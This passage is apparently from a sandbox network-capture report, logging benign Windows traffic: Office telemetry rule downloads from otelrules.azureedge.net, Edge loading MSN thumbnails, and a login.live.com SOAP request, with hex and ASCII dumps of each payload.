2024-11-20 07:09:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070928Z-1777c6cb7544n7p6hC1TEByvb400000009d00000000075br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: ccb8f84a-f01e-00aa-75f2-3a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070929Z-185f5d8b95crl6swhC1NYC3ueg00000009x000000000pqm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070929Z-1777c6cb7544nvmshC1TEBf7qc000000090g00000000eh85 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 54f20451-201e-0000-5511-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070929Z-r1d97b9957789nh9hC1TEBxha800000008n000000000bg28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070929Z-185f5d8b95cjbkr4hC1NYCeu2400000009pg00000000g6fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070929Z-r1d97b99577ckpmjhC1TEBrzs000000008gg00000000ag5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49906	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:29 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=376329 Expires: Sun, 24 Nov 2024 15:41:38 GMT Date: Wed, 20 Nov 2024 07:09:29 GMT Connection: close
2024-11-20 07:09:29 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49905	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 07:09:29 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:30 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 7bd60ec0-0305-45b2-ad0b-88450908d904 PPServer: PPV: 30 H: PH1PEPF0001B802 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:30 GMT Connection: close Content-Length: 11389
2024-11-20 07:09:30 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-r1d97b9957789nh9hC1TEBxha800000008p0000000008asf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070930Z-185f5d8b95csd4bwhC1NYCq7dc00000009tg00000000as33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:30 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49912	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:30 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:30 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=375442 Expires: Sun, 24 Nov 2024 15:26:52 GMT Date: Wed, 20 Nov 2024 07:09:30 GMT Connection: close
2024-11-20 07:09:30 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 